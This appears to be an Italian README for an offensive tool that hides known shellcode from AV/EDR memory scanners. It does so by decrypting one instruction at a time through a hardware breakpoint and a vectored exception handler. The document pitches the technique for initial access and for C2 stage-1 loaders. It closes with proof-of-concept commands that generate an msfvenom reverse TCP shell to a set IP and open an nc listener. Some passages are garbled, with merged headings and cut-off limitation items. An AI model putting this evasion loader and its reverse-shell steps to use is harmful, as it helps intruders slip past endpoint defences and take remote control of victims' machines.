
Una tecnica che può essere utilizzata per bypassare gli scanner di memoria AV/EDR. Può essere utilizzata per nascondere shellcode noti e rilevati (come msfvenom) eseguendo la decrittazione al volo di singole istruzioni assembly crittografate, rendendo così inutili gli scanner di memoria per quella specifica pagina di memoria.
Una tecnica che può essere utilizzata per bypassare gli scanner di memoria AV/EDR. Può essere usata per nascondere shellcode noti e rilevati (come msfvenom) eseguendo decrittazione al volo di singole istruzioni assembly crittografate, rendendo così inutili gli scanner di memoria per quella specifica pagina di memoria.
Questa tecnica crea una regione di memoria PAGE_EXECUTE_READWRITE in cui verranno memorizzate le istruzioni assembly crittografate. Lo shellcode sarà avvolto in un po' di padding. Il programma imposterà un Hardware Breakpoint (HWBP) sull'entrypoint dello shellcode.
Successivamente, il programma installerà un Vectored Exception Handler (VEH). Questo VEH agirà fondamentalmente come un debugger, eseguendo il codice passo-passo, leggendo il registro instruction pointer (RIP) per ogni eccezione ricevuta dal VEH e decrittando i successivi 16 byte (lunghezza massima di un'istruzione assembly x64) a cui punta RIP. Il VEH crittografa anche nuovamente l'istruzione precedentemente decrittata, assicurando che il resto dello shellcode rimanga sempre crittografato, ad eccezione della singola istruzione assembly attualmente in esecuzione. Dopodiché, continua l'esecuzione, con il configurato nel registro Eflags. Questo garantisce che anche la successiva istruzione assembly inneschi un'eccezione di breakpoint gestibile dal VEH.
SINGLE STEPTRAP FLAGDopo l'installazione del VEH, l'esecuzione del thread principale verrà reindirizzata all'entrypoint del payload. Quando l'HWBP verrà innescato all'entrypoint, il VEH si fermerà su ogni istruzione assembly eseguita, decritterà la successiva istruzione assembly e crittograferà la precedente istruzione decrittata, salvata come variabile globale.
In questo modo, fondamentalmente una singola istruzione assembly viene decrittata alla volta, mentre il resto del payload rimane crittografato.
NOTA: Questa tecnica è ideale per ottenere un accesso iniziale utilizzando uno shellcode di base come msfvenom o reverse shell personalizzate. Può anche essere usata come payload iniziale di stage 1 che scarica il resto del payload dal server C2.
NOTA: Questa tecnica non è compatibile con tutti i payload (come i reflective loader). Di seguito è riportato un elenco delle limitazioni attuali:
VEH scatterà per OGNI ISTRUZIONE ASSEMBLY eseguita nello shellcode, la velocità di esecuzione dello shellcode verrà drasticamente ridotta. Per ogni istruzione assembly eseguita dalla CPU, il VEH eseguirà almeno altre 300 istruzioni ASM per effettuare la decrittazione, la crittografia e il ripristino dell'esecuzione del thread principale. Se lo shellcode è ottimizzato per una dimensione ridotta piuttosto che per le prestazioni (come msfvenom), l'esecuzione del payload sarà più lenta. Può richiedere oltre 15 secondi (a seconda della CPU) per eseguire un MSFVENOM. Questo accade perché lo specifico shellcode usato da msfvenom sacrifica le prestazioni per ottenere una dimensione del payload inferiore.NtCreateThread o uno qualsiasi dei suoi wrapper in Kernelbase.dll con l'entrypoint all'interno dello shellcode, il payload non funzionerà poiché il VEH non scatterà per l'esecuzione di quel thread, non essendoci nessun HWBP installato all'entrypoint del thread appena creato. (Lavori in corso - verrà implementato ulteriormente in questo repo)valori/variabili al suo interno (ad esempio, la stringa grezza "powershell.exe" referenziata tramite un offset in una chiamata a WinExec WINAPI) o alcuni numeri salvati a un offset, e lo shellcode tenterà successivamente di caricarli o referenziarli da qualche parte, il programma non funzionerà poiché quella specifica variabile o stringa verrà crittografata e il VEH non la decritta. Se lo shellcode inserisce tali argomenti nello stack tramite istruzioni assembly (push 0x4141414141414141 per inserire "AAAAAAAA" nello stack da usare in una chiamata a una funzione), questa tecnica funzionerà. (Lavori in corso - verrà implementato ulteriormente in questo repo)Come riprodurre il POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

Questo repository è a scopo accademico, l'uso di questo software è di tua responsabilità.